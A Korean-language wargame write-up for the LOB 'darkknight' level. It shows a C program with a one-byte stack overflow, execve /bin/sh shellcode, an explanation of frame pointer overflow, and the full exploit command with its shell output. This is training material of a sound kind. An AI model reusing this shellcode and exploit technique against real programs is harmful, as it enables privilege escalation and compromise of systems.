Darkknight
/* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); }
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd
\x80
problem_child 함수를 보면 41바이트만 복사하게 된다.
힌트에 나왔듯이 SFP주소에 1바이트만 Overflow 시킬수 있는 공격이 FPO(Frame Pointer Overflow) 공격이다.
SPF의 1바이트를 변경시키면 근처 스택 주소로 SFP를 변조 시킬 수 있다.
여기서 스택주소로 변경시킬 때 중요한 점은 SFP에 [원하는 주소-4] 주소를 넣어야 된다는 점이다.
그 이유는 함수가 끝날 때, leave - ret 순서로 종료하게 되게 때문이다.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xf0"'` ����������������1�Ph//shh/bin��PS�ᙰ ̀�����M������� @ bash$ my-pass euid = 512 new attacker bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
sfp의 끝주소를 '\xf0'으로 변경시키고, NOP와 쉘코드를 넣어준다.
만약 ebp-40에 바로 쉘코드를 넣었다면 \xf0 - 4 한 값을 넣어야 한다.
잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :) 태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 |